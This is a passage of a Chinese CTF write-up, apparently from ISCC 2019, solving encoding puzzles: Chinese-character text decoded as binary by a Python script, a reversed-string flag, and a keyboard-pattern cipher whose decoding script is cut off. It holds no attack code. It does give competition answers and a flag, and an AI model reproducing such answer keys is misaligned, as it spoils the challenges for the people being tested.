<div id="crayon-5d0fe351b3c0d091564631-1" class="crayon-line">蓅烺計劃 洮蓠朩暒戶囗<span class="crayon-h">  </span>萇條戶囗<span class="crayon-h">  </span>萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗<span class="crayon-h">  </span>萇條戶囗<span class="crayon-h">  </span>萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗<span class="crayon-h">  </span>萇條戶囗<span class="crayon-h">  </span>萇條蓅烺計劃 洮蓠朩暒戶囗<span class="crayon-h">  </span>萇條戶囗<span class="crayon-h">  </span>萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗<span class="crayon-h">  </span>萇條戶囗<span class="crayon-h">  </span>萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗<span class="crayon-h">  </span>萇條蓅烺計劃 洮蓠朩暒戶囗<span class="crayon-h">  </span>萇條戶囗<span class="crayon-h">  </span>萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗<span class="crayon-h">  </span>萇條戶囗<span class="crayon-h">  </span>萇條戶囗<span class="crayon-h">  </span>萇條蓅烺計劃 洮蓠朩暒戶囗<span class="crayon-h">  </span>萇條戶囗<span class="crayon-h">  </span>萇條戶囗<span class="crayon-h">  </span>萇條戶囗<span class="crayon-h">  </span>萇條蓅烺計劃 洮蓠朩暒戶囗<span class="crayon-h">  </span>萇條戶囗<span class="crayon-h">  </span>萇條蓅烺計劃 洮蓠朩暒戶囗<span class="crayon-h">  </span>萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗<span class="crayon-h">  </span>萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗<span class="crayon-h">  </span>萇條蓅烺計劃 洮蓠朩暒戶囗<span class="crayon-h">  </span>萇條蓅烺計劃 洮蓠朩暒戶囗<span class="crayon-h">  </span>萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗<span class="crayon-h">  </span>萇條戶囗<span class="crayon-h">  </span>萇條蓅烺計劃 洮蓠朩暒戶囗<span class="crayon-h">  </span>萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗<span class="crayon-h">  </span>萇條戶囗<span class="crayon-h">  </span>萇條蓅烺計劃 洮蓠朩暒戶囗<span class="crayon-h">  </span>萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗<span class="crayon-h">  </span>萇條戶囗<span class="crayon-h">  </span>萇條蓅烺計劃 洮蓠朩暒戶囗<span class="crayon-h">  </span>萇條蓅烺計劃 洮蓠朩暒戶囗<span class="crayon-h">  </span>萇條戶囗<span class="crayon-h">  </span>萇條戶囗<span class="crayon-h">  </span>萇條戶囗<span class="crayon-h">  </span>萇條戶囗<span class="crayon-h">  </span>萇條蓅烺計劃 洮蓠朩暒戶囗<span class="crayon-h">  </span>萇條蓅烺計劃 洮蓠朩暒戶囗<span class="crayon-h">  </span>萇條蓅烺計劃 洮蓠朩暒戶囗<span class="crayon-h">  </span>萇條戶囗<span class="crayon-h">  </span>萇條戶囗<span class="crayon-h">  </span>萇條蓅烺計劃 洮蓠朩暒戶囗<span class="crayon-h">  </span>萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗<span class="crayon-h">  </span>萇條蓅烺計劃 洮蓠朩暒戶囗<span class="crayon-h">  </span>萇條蓅烺計劃 洮蓠朩暒戶囗<span class="crayon-h">  </span>萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗<span class="crayon-h">  </span>萇條戶囗<span class="crayon-h">  </span>萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗<span class="crayon-h">  </span>萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗<span class="crayon-h">  </span>萇條戶囗<span class="crayon-h">  </span>萇條蓅烺計劃 洮蓠朩暒戶囗<span class="crayon-h">  </span>萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗<span class="crayon-h">  </span>萇條戶囗<span class="crayon-h">  </span>萇條戶囗<span class="crayon-h">  </span>萇條戶囗<span class="crayon-h">  </span>萇條蓅烺計劃 洮蓠朩暒戶囗<span class="crayon-h">  </span>萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗<span class="crayon-h">  </span>萇條戶囗<span class="crayon-h">  </span>萇條蓅烺計劃 洮蓠朩暒戶囗<span class="crayon-h">  </span>萇條蓅烺計劃 洮蓠朩暒戶囗<span class="crayon-h">  </span>萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗<span class="crayon-h">  </span>萇條蓅烺計劃 洮蓠朩暒戶囗<span class="crayon-h">  </span>萇條蓅烺計劃 洮蓠朩暒戶囗<span class="crayon-h">  </span>萇條戶囗<span class="crayon-h">  </span>萇條戶囗<span class="crayon-h">  </span>萇條戶囗<span class="crayon-h">  </span>萇條戶囗<span class="crayon-h">  </span>萇條蓅烺計劃 洮蓠朩暒戶囗<span class="crayon-h">  </span>萇條</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p class="md-end-block md-p"><span class="md-plain">看到这个我是一脸懵逼，经大佬提示明白为二进制</span> <span class="md-plain">给出脚本</span></p>
<div id="crayon-5d0fe351b3c0e246283546" class="crayon-syntax crayon-theme-github crayon-font-monaco crayon-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover">
<div class="crayon-plain-wrap"></div>
<div class="crayon-main">
<table class="crayon-table">
<tbody>
<tr class="crayon-row">
<td class="crayon-nums " data-settings="hide">
<div class="crayon-nums-content">
<div class="crayon-num" data-line="crayon-5d0fe351b3c0e246283546-1">1</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3c0e246283546-2">2</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3c0e246283546-3">3</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3c0e246283546-4">4</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3c0e246283546-5">5</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3c0e246283546-6">6</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3c0e246283546-7">7</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3c0e246283546-8">8</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3c0e246283546-9">9</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3c0e246283546-10">10</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3c0e246283546-11">11</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3c0e246283546-12">12</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3c0e246283546-13">13</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3c0e246283546-14">14</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3c0e246283546-15">15</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3c0e246283546-16">16</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3c0e246283546-17">17</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3c0e246283546-18">18</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3c0e246283546-19">19</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3c0e246283546-20">20</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3c0e246283546-21">21</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3c0e246283546-22">22</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3c0e246283546-23">23</div>
</div>
</td>
<td class="crayon-code">
<div class="crayon-pre">
<div id="crayon-5d0fe351b3c0e246283546-1" class="crayon-line"><span class="crayon-e">with </span><span class="crayon-e">open</span><span class="crayon-sy">(</span><span class="crayon-s">&#8220;Welcome.txt&#8221;</span><span class="crayon-sy">,</span><span class="crayon-s">&#8220;r&#8221;</span><span class="crayon-sy">)</span> <span class="crayon-st">as</span> <span class="crayon-v">f</span><span class="crayon-o">:</span></div>
<div id="crayon-5d0fe351b3c0e246283546-2" class="crayon-line crayon-striped-line">  <span class="crayon-v">s</span> <span class="crayon-o">=</span> <span class="crayon-v">f</span><span class="crayon-sy">.</span><span class="crayon-e">read</span><span class="crayon-sy">(</span><span class="crayon-sy">)</span><span class="crayon-sy">.</span><span class="crayon-e">split</span><span class="crayon-sy">(</span><span class="crayon-s">&#8221; &#8220;</span><span class="crayon-sy">)</span></div>
<div id="crayon-5d0fe351b3c0e246283546-3" class="crayon-line">  <span class="crayon-v">z</span> <span class="crayon-o">=</span> <span class="crayon-cn">0</span></div>
<div id="crayon-5d0fe351b3c0e246283546-4" class="crayon-line crayon-striped-line">  <span class="crayon-e">print</span><span class="crayon-sy">(</span><span class="crayon-v">s</span><span class="crayon-sy">)</span></div>
<div id="crayon-5d0fe351b3c0e246283546-5" class="crayon-line">​</div>
<div id="crayon-5d0fe351b3c0e246283546-6" class="crayon-line crayon-striped-line">  <span class="crayon-st">while</span> <span class="crayon-t">True</span><span class="crayon-o">:</span></div>
<div id="crayon-5d0fe351b3c0e246283546-7" class="crayon-line">    <span class="crayon-st">try</span><span class="crayon-o">:</span></div>
<div id="crayon-5d0fe351b3c0e246283546-8" class="crayon-line crayon-striped-line">      <span class="crayon-v">ss</span> <span class="crayon-o">=</span> <span class="crayon-s">&#8220;&#8221;</span></div>
<div id="crayon-5d0fe351b3c0e246283546-9" class="crayon-line">      <span class="crayon-st">for</span> <span class="crayon-i">i</span> <span class="crayon-st">in</span> <span class="crayon-e">range</span><span class="crayon-sy">(</span><span class="crayon-cn">8</span><span class="crayon-sy">)</span><span class="crayon-o">:</span></div>
<div id="crayon-5d0fe351b3c0e246283546-10" class="crayon-line crayon-striped-line">        <span class="crayon-p">#print(s[z+i])</span></div>
<div id="crayon-5d0fe351b3c0e246283546-11" class="crayon-line">        <span class="crayon-st">if</span> <span class="crayon-s">&#8220;囗&#8221;</span> <span class="crayon-st">in</span> <span class="crayon-v">s</span><span class="crayon-sy">[</span><span class="crayon-v">z</span><span class="crayon-o">+</span><span class="crayon-v">i</span><span class="crayon-sy">]</span><span class="crayon-o">:</span></div>
<div id="crayon-5d0fe351b3c0e246283546-12" class="crayon-line crayon-striped-line">          <span class="crayon-v">ss</span> <span class="crayon-o">=</span> <span class="crayon-v">ss</span><span class="crayon-o">+</span><span class="crayon-s">&#8220;1&#8221;</span></div>
<div id="crayon-5d0fe351b3c0e246283546-13" class="crayon-line">        <span class="crayon-st">else</span> <span class="crayon-o">:</span></div>
<div id="crayon-5d0fe351b3c0e246283546-14" class="crayon-line crayon-striped-line">          <span class="crayon-v">ss</span> <span class="crayon-o">=</span> <span class="crayon-v">ss</span> <span class="crayon-o">+</span> <span class="crayon-s">&#8220;0&#8221;</span></div>
<div id="crayon-5d0fe351b3c0e246283546-15" class="crayon-line">​</div>
<div id="crayon-5d0fe351b3c0e246283546-16" class="crayon-line crayon-striped-line">      <span class="crayon-e">print</span><span class="crayon-sy">(</span><span class="crayon-e">chr</span><span class="crayon-sy">(</span><span class="crayon-t">int</span><span class="crayon-sy">(</span><span class="crayon-v">ss</span><span class="crayon-sy">,</span><span class="crayon-cn">2</span><span class="crayon-sy">)</span><span class="crayon-sy">)</span><span class="crayon-sy">,</span><span class="crayon-st">end</span><span class="crayon-o">=</span><span class="crayon-s">&#8220;&#8221;</span><span class="crayon-sy">)</span></div>
<div id="crayon-5d0fe351b3c0e246283546-17" class="crayon-line"></div>
<div id="crayon-5d0fe351b3c0e246283546-18" class="crayon-line crayon-striped-line">      <span class="crayon-v">z</span> <span class="crayon-o">=</span> <span class="crayon-v">z</span> <span class="crayon-o">+</span><span class="crayon-cn">8</span></div>
<div id="crayon-5d0fe351b3c0e246283546-19" class="crayon-line">    <span class="crayon-v">except</span> <span class="crayon-o">:</span></div>
<div id="crayon-5d0fe351b3c0e246283546-20" class="crayon-line crayon-striped-line">      <span class="crayon-st">break</span></div>
<div id="crayon-5d0fe351b3c0e246283546-21" class="crayon-line"></div>
<div id="crayon-5d0fe351b3c0e246283546-22" class="crayon-line crayon-striped-line">​</div>
<div id="crayon-5d0fe351b3c0e246283546-23" class="crayon-line"><span class="crayon-p">#print(int(ss))</span></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<h1 class="md-end-block md-heading"><span class="md-plain">倒立屋</span></h1>
<p class="md-end-block md-p"><span class="md-image" data-src="https://y4er.com/img/uploads/20190505155211.png"><img src="https://y4er.com/img/uploads/20190505155211.png" alt="ISCC 2019部分writeup-ChaBug安全" /></span></p>
<p class="md-end-block md-p"><span class="md-plain">IsCc_2019反转9102_cCsI提交</span></p>
<h1 class="md-end-block md-heading"><span class="md-plain">Keyes&#8217; secret</span></h1>
<div id="crayon-5d0fe351b3c11311289487" class="crayon-syntax crayon-theme-github crayon-font-monaco crayon-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover">
<div class="crayon-plain-wrap"></div>
<div class="crayon-main">
<table class="crayon-table">
<tbody>
<tr class="crayon-row">
<td class="crayon-nums " data-settings="hide">
<div class="crayon-nums-content">
<div class="crayon-num" data-line="crayon-5d0fe351b3c11311289487-1">1</div>
</div>
</td>
<td class="crayon-code">
<div class="crayon-pre">
<div id="crayon-5d0fe351b3c11311289487-1" class="crayon-line"><span class="crayon-v">RFVGYHNWSXCDEWSXCVWSXCVTGBNMJUY</span><span class="crayon-sy">,</span><span class="crayon-v">WSXZAQWDVFRQWERTYTRFVBTGBNMJUYXSWEFTYHNNBVCXSWERFTGBNMJUTYUIOJMWSXCDEMNBVCDRTGHUQWERTYIUYHNBVWSXCDETRFVBTGBNMJUMNBVCDRTGHUWSXTYUIOJMEFVT</span><span class="crayon-sy">,</span><span class="crayon-e">QWERTYTRFVBGRDXCVBNBVCXSWERFTYUIOJMTGBNMJUMNBVCDRTGHUWSXCDEQWERTYTYUIOJMRFVGYHNWSXCDEQWERTYTRFVGWSXCVGRDXCVBCVGREDQWERTY</span><span class="crayon-sy">(</span><span class="crayon-v">TRFVBTYUIOJMTRFVG</span><span class="crayon-sy">)</span><span class="crayon-sy">,</span><span class="crayon-v">QWERTYGRDXCVBQWERTYTYUIOJMEFVTNBVCXSWERFWSXCDEQWERTYTGBNMJUYTRFVGQWERTYTRFVBMNBVCDRTGHUEFVTNBVCXSWERFTYUIOJMTGBNMJUYIUYHNBVNBVCXSWERFTGBNMJUYMNBVCDRTGHUTYUIOJM</span><span class="crayon-sy">,</span><span class="crayon-v">QWERTYWSXIUYHNBVQWERTYGRDXCVBQWERTYTRFVBTGBNMJUYXSWEFTYHNNBVCXSWERFTGBNMJUTYUIOJMWSXCDEMNBVCDRTGHUQWERTYIUYHNBVWSXCDETRFVBTGBNMJUMNBVCDRTGHUWSXTYUIOJMEFVTQWERTYTRFVBTGBNMJUYXSWEFTYHNNBVCXSWERFWSXCDETYUIOJMWSXTYUIOJMWSXTGBNMJUYZAQWDVFR</span><span class="crayon-sy">.</span><span class="crayon-v">QWERTYTRFVBTYUIOJMTRFVGQWERTYTRFVBTGBNMJUYZAQWDVFRTYUIOJMWSXCDEIUYHNBVTYUIOJMIUYHNBVQWERTYGRDXCVBMNBVCDRTGHUWSXCDEQWERTYTGBNMJUIUYHNBVTGBNMJUGRDXCVBWSXCVWSXCVEFVTQWERTYWSXCFEWSXCDEIUYHNBVWSXCVGREDZAQWDVFRWSXCDEWSXCFEQWERTYTYUIOJMTGBNMJUYQWERTYIUYHNBVWSXCDEMNBVCDRTGHUEFVGYWSXCDEQWERTYGRDXCVBIUYHNBVQWERTYGRDXCVBZAQWDVFRQWERTYWSXCDEWSXCFETGBNMJUTRFVBGRDXCVBTYUIOJMWSXTGBNMJUYZAQWDVFRGRDXCVBWSXCVQWERTYWSXCDERGNYGCWSXCDEMNBVCDRTGHUTRFVBWSXIUYHNBVWSXCDEQWERTYTYUIOJMTGBNMJUYQWERTYCVGREDWSXEFVGYWSXCDEQWERTYNBVCXSWERFGRDXCVBMNBVCDRTGHUTYUIOJMWSXTRFVBWSXNBVCXSWERFGRDXCVBZAQWDVFRTYUIOJMIUYHNBVQWERTYWSXCDERGNYGCNBVCXSWERFWSXCDEMNBVCDRTGHUWSXWSXCDEZAQWDVFRTRFVBWSXCDEQWERTYWSXZAQWDVFRQWERTYIUYHNBVWSXCDETRFVBTGBNMJUMNBVCDRTGHUWSXZAQWDVFRCVGREDQWERTYGRDXCVBQWERTYXSWEFTYHNGRDXCVBTRFVBRFVGYHNWSXZAQWDVFRWSXCDE</span><span class="crayon-sy">,</span><span class="crayon-e">QWERTYGRDXCVBIUYHNBVQWERTYEFVGYWDCFTWSXCDEWSXCVWSXCVQWERTYGRDXCVBIUYHNBVQWERTYTRFVBTGBNMJUYZAQWDVFRWSXCFETGBNMJUTRFVBTYUIOJMWSXZAQWDVFRCVGREDQWERTYGRDXCVBZAQWDVFRWSXCFEQWERTYMNBVCDRTGHUWSXCDEGRDXCVBTRFVBTYUIOJMWSXZAQWDVFRCVGREDQWERTYTYUIOJMTGBNMJUYQWERTYTYUIOJMRFVGYHNWSXCDEQWERTYIUYHNBVTGBNMJUYMNBVCDRTGHUTYUIOJMQWERTYTGBNMJUYTRFVGQWERTYGRDXCVBTYUIOJMTYUIOJMGRDXCVBTRFVBQAZSCEIUYHNBVQWERTYTRFVGTGBNMJUYTGBNMJUZAQWDVFRWSXCFEQWERTYWSXZAQWDVFRQWERTYTYUIOJMRFVGYHNWSXCDEQWERTYMNBVCDRTGHUWSXCDEGRDXCVBWSXCVQWERTYEFVGYWDCFTTGBNMJUYMNBVCDRTGHUWSXCVWSXCFEQWERTY</span><span class="crayon-sy">(</span><span class="crayon-v">WSX</span><span class="crayon-sy">.</span><span class="crayon-v">WSXCDE</span><span class="crayon-sy">.</span><span class="crayon-sy">,</span><span class="crayon-v">QWERTYYHNMKJTGBNMJUCVGREDQWERTYYHNMKJTGBNMJUYTGBNMJUZAQWDVFRTYUIOJMEFVTQWERTYNBVCXSWERFMNBVCDRTGHUTGBNMJUYCVGREDMNBVCDRTGHUGRDXCVBXSWEFTYHNIUYHNBVQWERTYWSXZAQWDVFRQWERTYNBVCXSWERFMNBVCDRTGHUTGBNMJUYTRFVGWSXCDEIUYHNBVIUYHNBVWSXTGBNMJUYZAQWDVFRGRDXCVBWSXCVQWERTYIUYHNBVWSXCDETYUIOJMTYUIOJMWSXZAQWDVFRCVGREDIUYHNBV</span><span class="crayon-sy">)</span><span class="crayon-sy">.</span><span class="crayon-v">QWERTYRFVGYHNWSXCDEMNBVCDRTGHUWSXCDEQWERTYGRDXCVBMNBVCDRTGHUWSXCDEQWERTYEFVTTGBNMJUYTGBNMJUMNBVCDRTGHUQWERTYTRFVGWSXCVGRDXCVBCVGRED</span><span class="crayon-sy">{</span><span class="crayon-v">WSXIUYHNBVTRFVBTRFVBQWERTYQAZSCEWSXCDEEFVTYHNMKJTGBNMJUYGRDXCVBMNBVCDRTGHUWSXCFEQWERTYTRFVBWSXNBVCXSWERFRFVGYHNWSXCDEMNBVCDRTGHU</span><span class="crayon-sy">}</span><span class="crayon-v">QWERTYMNBVCDRTGHUWSXCDEEFVGYWSXCDEMNBVCDRTGHUIUYHNBVWSXCDE</span><span class="crayon-o">&#8211;</span><span class="crayon-v">WSXCDEZAQWDVFRCVGREDWSXZAQWDVFRWSXCDEWSXCDEMNBVCDRTGHUWSXZAQWDVFRCVGRED</span><span class="crayon-sy">,</span><span class="crayon-v">QWERTYZAQWDVFRWSXCDETYUIOJMEFVGYWDCFTTGBNMJUYMNBVCDRTGHUQAZSCEQWERTYIUYHNBVZAQWDVFRWSXTRFVGTRFVGWSXZAQWDVFRCVGRED</span><span class="crayon-sy">,</span><span class="crayon-v">QWERTYNBVCXSWERFMNBVCDRTGHUTGBNMJUYTYUIOJMTGBNMJUYTRFVBTGBNMJUYWSXCVQWERTYGRDXCVBZAQWDVFRGRDXCVBWSXCVEFVTIUYHNBVWSXIUYHNBV</span><span class="crayon-sy">,</span><span class="crayon-v">QWERTYIUYHNBVEFVTIUYHNBVTYUIOJMWSXCDEXSWEFTYHNQWERTYGRDXCVBWSXCFEXSWEFTYHNWSXZAQWDVFRWSXIUYHNBVTYUIOJMMNBVCDRTGHUGRDXCVBTYUIOJMWSXTGBNMJUYZAQWDVFR</span><span class="crayon-sy">,</span><span class="crayon-v">QWERTYNBVCXSWERFMNBVCDRTGHUTGBNMJUYCVGREDMNBVCDRTGHUGRDXCVBXSWEFTYHNXSWEFTYHNWSXZAQWDVFRCVGRED</span><span class="crayon-sy">,</span><span class="crayon-v">QWERTYGRDXCVBZAQWDVFRWSXCFEQWERTYTRFVBMNBVCDRTGHUEFVTNBVCXSWERFTYUIOJMGRDXCVBZAQWDVFRGRDXCVBWSXCVEFVTIUYHNBVWSXIUYHNBVQWERTYGRDXCVBMNBVCDRTGHUWSXCDEQWERTYGRDXCVBWSXCVWSXCVQWERTYIUYHNBVQAZSCEWSXWSXCVWSXCVIUYHNBVQWERTYEFVGYWDCFTRFVGYHNWSXTRFVBRFVGYHNQWERTYRFVGYHNGRDXCVBEFVGYWSXCDEQWERTYYHNMKJWSXCDEWSXCDEZAQWDVFRQWERTYMNBVCDRTGHUWSXCDEQAZXCDEWVTGBNMJUWSXMNBVCDRTGHUWSXCDEWSXCFEQWERTYYHNMKJEFVTQWERTYNBVCXSWERFMNBVCDRTGHUWSXTGBNMJUYMNBVCDRTGHUQWERTYTRFVBTYUIOJMTRFVGQWERTYTRFVBTGBNMJUYZAQWDVFRTYUIOJMWSXCDEIUYHNBVTYUIOJMIUYHNBVQWERTYGRDXCVBTYUIOJMQWERTYWSXCFEWSXCDETRFVGQWERTYTRFVBTGBNMJUYZAQWDVFR</span><span class="crayon-sy">.</span></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p class="md-end-block md-p"><span class="md-plain">键盘密码 参考</span><span class="md-link"><a href="https://ctf-wiki.github.io/ctf-wiki/crypto/classical/others/#_23" target="_blank" rel="nofollow noopener noreferrer">https://ctf-wiki.github.io/ctf-wiki/crypto/classical/others/#_23</a></span></p>
<p class="md-end-block md-p"><span class="md-plain">解密脚本</span></p>
<div id="crayon-5d0fe351b3c13379337311" class="crayon-syntax crayon-theme-github crayon-font-monaco crayon-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover">
<div class="crayon-plain-wrap"></div>
<div class="crayon-main">
<table class="crayon-table">
<tbody>
<tr class="crayon-row">
<td class="crayon-nums " data-settings="hide">
<div class="crayon-nums-content">
<div class="crayon-num" data-line="crayon-5d0fe351b3c13379337311-1">1</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3c13379337311-2">2</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3c13379337311-3">3</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3c13379337311-4">4</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3c13379337311-5">5</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3c13379337311-6">6</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3c13379337311-7">7</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3c13379337311-8">8</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3c13379337311-9">9</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3c13379337311-10">10</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3c13379337311-11">11</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3c13379337311-12">12</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3c13379337311-13">13</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3c13379337311-14">14</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3c13379337311-15">15</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3c13379337311-16">16</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3c13379337311-17">17</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3c13379337311-18">18</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3c13379337311-19">19</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3c13379337311-20">20</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3c13379337311-21">21</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3c13379337311-22">22</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3c13379337311-23">23</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3c13379337311-24">24</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3c13379337311-25">25</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3c13379337311-26">26</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3c13379337311-27">27</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3c13379337311-28">28</div>
</div>
</td>
<td class="crayon-code">
<div class="crayon-pre">
<div id="crayon-5d0fe351b3c13379337311-1" class="crayon-line"><span class="crayon-v">STR</span> <span class="crayon-o">=</span> <span class="crayon-v">STR</span><span class="crayon-sy">.</span><span class="crayon-e">replace</span><span class="crayon-sy">(</span><span class="crayon-s">&#8220;WSXCDE&#8221;</span><span class="crayon-sy">,</span><span class="crayon-s">&#8216;e&#8217;</span><span class="crayon-sy">)</span></div>
<div id="crayon-5d0fe351b3c13379337311-2" class="crayon-line crayon-striped-line"><span class="crayon-v">STR</span> <span class="crayon-o">=</span> <span class="crayon-v">STR</span><span class="crayon-sy">.</span><span class="crayon-e">replace</span><span class="crayon-sy">(</span><span class="crayon-s">&#8220;RFVGYHN&#8221;</span><span class="crayon-sy">,</span><span class="crayon-s">&#8216;h&#8217;</span><span class="crayon-sy">)</span></div>
<div id="crayon-5d0fe351b3c13379337311-3" class="crayon-line"><span class="crayon-v">STR</span> <span class="crayon-o">=</span> <span class="crayon-v">STR</span><span class="crayon-sy">.</span><span class="crayon-e">replace</span><span class="crayon-sy">(</span><span class="crayon-s">&#8220;WSXCV&#8221;</span><span class="crayon-sy">,</span><span class="crayon-s">&#8216;l&#8217;</span><span class="crayon-sy">)</span></div>
<div id="crayon-5d0fe351b3c13379337311-4" class="crayon-line crayon-striped-line"><span class="crayon-v">STR</span> <span class="crayon-o">=</span> <span class="crayon-v">STR</span><span class="crayon-sy">.</span><span class="crayon-e">replace</span><span class="crayon-sy">(</span><span class="crayon-s">&#8220;TGBNMJUY&#8221;</span><span class="crayon-sy">,</span><span class="crayon-s">&#8216;o&#8217;</span><span class="crayon-sy">)</span></div>
<div id="crayon-5d0fe351b3c13379337311-5" class="crayon-line"><span class="crayon-v">STR</span> <span class="crayon-o">=</span> <span class="crayon-v">STR</span><span class="crayon-sy">.</span><span class="crayon-e">replace</span><span class="crayon-sy">(</span><span class="crayon-s">&#8220;TGBNMJU&#8221;</span><span class="crayon-sy">,</span><span class="crayon-s">&#8216;u&#8217;</span><span class="crayon-sy">)</span></div>
<div id="crayon-5d0fe351b3c13379337311-6" class="crayon-line crayon-striped-line"><span class="crayon-v">STR</span> <span class="crayon-o">=</span> <span class="crayon-v">STR</span><span class="crayon-sy">.</span><span class="crayon-e">replace</span><span class="crayon-sy">(</span><span class="crayon-s">&#8220;GRDXCVB&#8221;</span><span class="crayon-sy">,</span><span class="crayon-s">&#8216;a&#8217;</span><span class="crayon-sy">)</span></div>
<div id="crayon-5d0fe351b3c13379337311-7" class="crayon-line"><span class="crayon-v">STR</span> <span class="crayon-o">=</span> <span class="crayon-v">STR</span><span class="crayon-sy">.</span><span class="crayon-e">replace</span><span class="crayon-sy">(</span><span class="crayon-s">&#8220;CVGRED&#8221;</span><span class="crayon-sy">,</span><span class="crayon-s">&#8216;g&#8217;</span><span class="crayon-sy">)</span></div>
<div id="crayon-5d0fe351b3c13379337311-8" class="crayon-line crayon-striped-line"><span class="crayon-v">STR</span> <span class="crayon-o">=</span> <span class="crayon-v">STR</span><span class="crayon-sy">.</span><span class="crayon-e">replace</span><span class="crayon-sy">(</span><span class="crayon-s">&#8220;QWERTYTRFVG&#8221;</span><span class="crayon-sy">,</span><span class="crayon-s">&#8216;f&#8217;</span><span class="crayon-sy">)</span></div>
<div id="crayon-5d0fe351b3c13379337311-9" class="crayon-line"><span class="crayon-v">STR</span> <span class="crayon-o">=</span> <span class="crayon-v">STR</span><span class="crayon-sy">.</span><span class="crayon-e">replace</span><span class="crayon-sy">(</span><span class="crayon-s">&#8220;WSXCFE&#8221;</span><span class="crayon-sy">,</span><span class="crayon-s">&#8216;d&#8217;</span><span class="crayon-sy">)</span></div>
<div id="crayon-5d0fe351b3c13379337311-10" class="crayon-line crayon-striped-line"><span class="crayon-v">STR</span> <span class="crayon-o">=</span> <span class="crayon-v">STR</span><span class="crayon-sy">.</span><span class="crayon-e">replace</span><span class="crayon-sy">(</span><span class="crayon-s">&#8220;IUYHNBV&#8221;</span><span class="crayon-sy">,</span><span class="crayon-s">&#8216;s&#8217;</span><span class="crayon-sy">)</span></div>
